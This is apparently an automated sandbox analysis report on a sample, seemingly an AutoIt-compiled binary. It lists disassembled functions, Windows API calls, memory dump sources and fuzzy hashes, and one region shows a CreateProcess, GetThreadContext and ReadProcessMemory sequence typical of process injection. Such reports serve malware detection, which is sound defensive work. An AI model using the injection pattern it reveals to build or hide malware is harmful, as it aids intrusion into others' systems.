                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __filbuf__getptd_noexit__read_memcpy_s
                              • String ID:
                              • API String ID: 1794320848-0
                              • Opcode ID: b5af9ce9d8135965a8c163c1359f1833c669f36246c0dfec509ee2915f8c5eb0
                              • Instruction ID: 2f36134af58cf06217a4581a57f76d3547d7b7b98d7afe96428f3577b7504850
                              • Opcode Fuzzy Hash: b5af9ce9d8135965a8c163c1359f1833c669f36246c0dfec509ee2915f8c5eb0
                              • Instruction Fuzzy Hash: 6C51E631A01208DBCB249F69C9446DFB7B1AFC0364F25826BE43597290E378EED1CB59
                              Function 00475300 Relevance: 4.6, APIs: 3, Instructions: 141COMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentProcess.KERNEL32(00000000,?,00000067,000000FF), ref: 004753C7
                              • TerminateProcess.KERNEL32(00000000), ref: 004753CE
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Process$CurrentTerminate
                              • String ID:
                              • API String ID: 2429186680-0
                              • Opcode ID: aaa6002d905a33e4c3ceade7f85f71e7f986a1c67485104df61a1a5e3f63762c
                              • Instruction ID: dddcdfafc98398d1c0f0a19edd80e49036cf45bbfca44c020541658de01b6296
                              • Opcode Fuzzy Hash: aaa6002d905a33e4c3ceade7f85f71e7f986a1c67485104df61a1a5e3f63762c
                              • Instruction Fuzzy Hash: 2C519D71604301AFC710DF65C881BABB7E5EF88308F14891EF9598B382D7B9D945CB96
                              Function 0040E0C0 Relevance: 4.6, APIs: 3, Instructions: 82windowCOMMON
                              Download Yara Rule
                              APIs
                              • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E1A7
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: IconNotifyShell_
                              • String ID:
                              • API String ID: 1144537725-0
                              • Opcode ID: 02018e3f435d091181cdea07546ede041b4d96144d17d916b2823846d4297506
                              • Instruction ID: eb3a406907b17a2fb372061a5351d340f380801689ea858bebf243c914dbfa85
                              • Opcode Fuzzy Hash: 02018e3f435d091181cdea07546ede041b4d96144d17d916b2823846d4297506
                              • Instruction Fuzzy Hash: 16318F70608701DFD320CF25D855797BBE4BB85314F000C3EE5AA87391E7B8A958CB5A
                              Function 0043213D Relevance: 4.5, APIs: 3, Instructions: 38COMMON
                              Download Yara Rule
                              APIs
                              • _malloc.LIBCMT ref: 0043214B
                                • Part of subcall function 004135BB: __FF_MSGBANNER.LIBCMT ref: 004135D4
                                • Part of subcall function 004135BB: __NMSG_WRITE.LIBCMT ref: 004135DB
                                • Part of subcall function 004135BB: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,004115F6,?,00401BAC,?,?,?), ref: 00413600
                              • _malloc.LIBCMT ref: 0043215D
                              • _malloc.LIBCMT ref: 0043216F
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _malloc$AllocateHeap
                              • String ID:
                              • API String ID: 680241177-0
                              • Opcode ID: ab61ccc74db86e6fcdeb904a32b1d9569ed7ac6f88b96914968634a5dd1a0039
                              • Instruction ID: dac51259f70ca5acf95ac1b1a30df86389447b5c3122b5fc7e5239b6c816f1c7
                              • Opcode Fuzzy Hash: ab61ccc74db86e6fcdeb904a32b1d9569ed7ac6f88b96914968634a5dd1a0039
                              • Instruction Fuzzy Hash: A0F0E273200B142AD2206A6A6DC1BE7B39ADBD4765F00403FFB058A206DAE9988542EC
                              Function 0040F570 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 247COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0040F760: _strcat.LIBCMT ref: 0040F786
                              • _free.LIBCMT ref: 004295A0
                                • Part of subcall function 004033C0: GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403451
                                • Part of subcall function 004033C0: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403467
                                • Part of subcall function 004033C0: __wsplitpath.LIBCMT ref: 00403492
                                • Part of subcall function 004033C0: _wcscpy.LIBCMT ref: 004034A7
                                • Part of subcall function 004033C0: _wcscat.LIBCMT ref: 004034BC
                                • Part of subcall function 004033C0: SetCurrentDirectoryW.KERNEL32(?), ref: 004034CC
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CurrentDirectory$FullNamePath__wsplitpath_free_strcat_wcscat_wcscpy
                              • String ID: >>>AUTOIT SCRIPT<<<
                              • API String ID: 3938964917-2806939583
                              • Opcode ID: 54ef76e4734de236163cd7b280f05d5101af8392224d903fd41af02c4ea86240
                              • Instruction ID: c8289cc7cde30cfde4dff3f83c8481f20f860a5b07fa540731426c520eca24fb
                              • Opcode Fuzzy Hash: 54ef76e4734de236163cd7b280f05d5101af8392224d903fd41af02c4ea86240
                              • Instruction Fuzzy Hash: 9A919171A00219ABCF04EFA5D8819EE7774BF48314F50452EF915B7391D778EA06CBA8
                              Function 00410100 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40COMMON
                              Download Yara Rule
                              Strings
                              • >>>AUTOIT NO CMDEXECUTE<<<, xrefs: 0042804F
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _strcat
                              • String ID: >>>AUTOIT NO CMDEXECUTE<<<
                              • API String ID: 1765576173-2684727018
                              • Opcode ID: 9cf7010eca5106026e95a37c4c4993c7a48cbbbd0f5b26026c251fe95f3d7589
                              • Instruction ID: e645463cc19bd0c1a49bcabea2d674544a6c2f3c5714d62cb3526a870e150300
                              • Opcode Fuzzy Hash: 9cf7010eca5106026e95a37c4c4993c7a48cbbbd0f5b26026c251fe95f3d7589
                              • Instruction Fuzzy Hash: FBF090B390020D768B00F6E6D942CEFB37C9985704B5006AFA905B3152EA79EA0987B6
                              Function 0040AFA0 Relevance: 3.3, APIs: 2, Instructions: 258COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ClearVariant
                              • String ID:
                              • API String ID: 1473721057-0
                              • Opcode ID: 30fb1b5656a8e298aebe1b45ed9f9297ed51282c110b4441b4c64d109fdc6671
                              • Instruction ID: 76271617df0236ab3ccd2777984eb13d60b28668e4953fb9a85eec064aa2abc3
                              • Opcode Fuzzy Hash: 30fb1b5656a8e298aebe1b45ed9f9297ed51282c110b4441b4c64d109fdc6671
                              • Instruction Fuzzy Hash: F891A370A00204DFDB14DF65D884AAAB3B5EF09304F24C56BE915AB391D739EC41CBAE
                              Function 00467897 Relevance: 3.2, APIs: 2, Instructions: 170COMMON
                              Download Yara Rule
                              APIs
                              • __wsplitpath.LIBCMT ref: 004678F7
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • GetLastError.KERNEL32(00000000,00000000), ref: 004679C7
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorLast__wsplitpath_malloc
                              • String ID:
                              • API String ID: 4163294574-0
                              • Opcode ID: b7e2b2e067b321cb14cd8dd870a284e502ce9d37bff932640fd458450c7e1011
                              • Instruction ID: 5ded281afda408fdcd401bf2365ceabb828b89a129c607e264fb1023d06c7d2e
                              • Opcode Fuzzy Hash: b7e2b2e067b321cb14cd8dd870a284e502ce9d37bff932640fd458450c7e1011
                              • Instruction Fuzzy Hash: FB5126712083018BD710EF75C881A5BB3E5AF84318F044A6EF9559B381EB39ED09CB97
                              Function 0040F760 Relevance: 3.1, APIs: 2, Instructions: 92COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0040F6F0: _wcslen.LIBCMT ref: 0040F705
                                • Part of subcall function 0040F6F0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,00454478,?,00000000,?,?), ref: 0040F71E
                                • Part of subcall function 0040F6F0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,00000000,?,?,?,?), ref: 0040F747
                              • _strcat.LIBCMT ref: 0040F786
                                • Part of subcall function 0040F850: _strlen.LIBCMT ref: 0040F858
                                • Part of subcall function 0040F850: _sprintf.LIBCMT ref: 0040F9AE
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ByteCharMultiWide$_sprintf_strcat_strlen_wcslen
                              • String ID:
                              • API String ID: 3199840319-0
                              • Opcode ID: 49a3294527d5b305cfbd6c685c74412098d504eb7a2552fd7b1e5b305baf6987
                              • Instruction ID: aac9d08775c2cbfae45fd546c2dd5c585d34072f6b495fb7426f91ad36779b1c
                              • Opcode Fuzzy Hash: 49a3294527d5b305cfbd6c685c74412098d504eb7a2552fd7b1e5b305baf6987
                              • Instruction Fuzzy Hash: 7B2148B260825027D724EF3A9C82A6EF2D4AF85304F14893FF555C22C2F738D554879A
                              Function 0040D6B0 Relevance: 3.1, APIs: 2, Instructions: 74COMMON
                              Download Yara Rule
                              APIs
                              • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0040D779
                              • FreeLibrary.KERNEL32(?), ref: 0040D78E
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: FreeInfoLibraryParametersSystem
                              • String ID:
                              • API String ID: 3403648963-0
                              • Opcode ID: 1bcd72a0122d59f5f1ef4a441970033eb21b1c6439336685a4482ae7c853bb59
                              • Instruction ID: 5fcdf068f8d8459ddaa7ea8882eac3df2259875866eaebb33036fc29c92b3e87
                              • Opcode Fuzzy Hash: 1bcd72a0122d59f5f1ef4a441970033eb21b1c6439336685a4482ae7c853bb59
                              • Instruction Fuzzy Hash: BB2184719083019FC300DF5ADC8190ABBE4FB84358F40493FF988A7392D735D9458B9A
                              Function 0040F110 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,0040DE74,?,00000001,?,00403423,?), ref: 0040F13A
                              • CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,0040DE74,?,00000001,?,00403423,?), ref: 00426326
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CreateFile
                              • String ID:
                              • API String ID: 823142352-0
                              • Opcode ID: 01c8104855b6be3cf9f3f51c38ffad3c9237c0860841684a852cd2675ef3d23e
                              • Instruction ID: 8a88c5525f76e0b0fff62cf48ad84dc7055e673dbb4ccc29545257d8619b8f55
                              • Opcode Fuzzy Hash: 01c8104855b6be3cf9f3f51c38ffad3c9237c0860841684a852cd2675ef3d23e
                              • Instruction Fuzzy Hash: 16011D70784310BAF2305A68DD0BF5266546B45B24F20473ABBE5BE2D1D2F86885870C
                              Function 00414A46 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77
                              • __lock_file.LIBCMT ref: 00414A8D
                                • Part of subcall function 00415471: __lock.LIBCMT ref: 00415496
                              • __fclose_nolock.LIBCMT ref: 00414A98
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                              • String ID:
                              • API String ID: 2800547568-0
                              • Opcode ID: a5ee4eb6f63f5c531cf15d6f0d52328148e0080a1a420ce895dcb566fcff73ac
                              • Instruction ID: d9443fdd3ee0a3059f5d17ec53abbfe2105cc8a5d10ddad395bff0ae1f283336
                              • Opcode Fuzzy Hash: a5ee4eb6f63f5c531cf15d6f0d52328148e0080a1a420ce895dcb566fcff73ac
                              • Instruction Fuzzy Hash: EEF0F6308417019AD710AB7588027EF37A09F41379F22864FA061961D1C73C85C29B5D
                              Function 00414FE2 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                              Download Yara Rule
                              APIs
                              • __lock_file.LIBCMT ref: 00415012
                              • __ftell_nolock.LIBCMT ref: 0041501F
                                • Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __ftell_nolock__getptd_noexit__lock_file
                              • String ID:
                              • API String ID: 2999321469-0
                              • Opcode ID: 5d7fd30e9bb4e6974f03027405c635b91b5e55acacb14f372dcacdb3af77c648
                              • Instruction ID: e3e7bc223609ce985a1750c66bb322057640979a4505571362f253753ce4bf01
                              • Opcode Fuzzy Hash: 5d7fd30e9bb4e6974f03027405c635b91b5e55acacb14f372dcacdb3af77c648
                              • Instruction Fuzzy Hash: 64F03030900605EADB107FB5DD027EE3B70AF443A8F20825BB0259A0E1DB7C8AC29A59
                              Function 041802DD Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                              Download Yara Rule
                              APIs
                              • CreateProcessW.KERNELBASE(?,00000000), ref: 04180A9B
                              • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 04180B31
                              • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 04180B53
                              Memory Dump Source
                              • Source File: 00000000.00000002.1266299406.000000000417F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0417F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_417f000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Process$ContextCreateMemoryReadThreadWow64
                              • String ID:
                              • API String ID: 2438371351-0
                              • Opcode ID: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                              • Instruction ID: b9ae125ee8b5fb3698823592c43127edaefdf0923bd6de21e94e744f14f0e4b9
                              • Opcode Fuzzy Hash: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                              • Instruction Fuzzy Hash: A412DC24E24658C6EB24DF64D8507DEB232EF68300F1090ED910DEB7A4E77A5E85CF5A
                              Function 00402F00 Relevance: 1.6, APIs: 1, Instructions: 104COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID:
                              • API String ID: 4104443479-0
                              • Opcode ID: 224a1bccd0668171228bffd00b4e167e84225026459a60d9317a1c29c8a59c26
                              • Instruction ID: 6397ebbfaf442e519c955e074037b65107783079284990db5ef0c3dd021860ed
                              • Opcode Fuzzy Hash: 224a1bccd0668171228bffd00b4e167e84225026459a60d9317a1c29c8a59c26
                              • Instruction Fuzzy Hash: 36317371E00209EBDF009F52E9866AEFBF4FF40740F2189BED855E2650E7389990D759
                              Function 00402780 Relevance: 1.6, APIs: 1, Instructions: 101COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID:
                              • API String ID: 4104443479-0
                              • Opcode ID: 8b2818c8434b9a070bb7a9b9dd55d4aa8d61190f7c46d4f62081b3e0e63eee4f
                              • Instruction ID: 412edbf2df7bf8c64f36b821a583ca4e96a0f18e0b9aed18a790d0e499aeb9a1
                              • Opcode Fuzzy Hash: 8b2818c8434b9a070bb7a9b9dd55d4aa8d61190f7c46d4f62081b3e0e63eee4f
                              • Instruction Fuzzy Hash: 60319CB9600A21EFC714DF19C580A62F7E0FF08310B14C57ADA89CB795E774E892CB99
                              Function 00410CFC Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
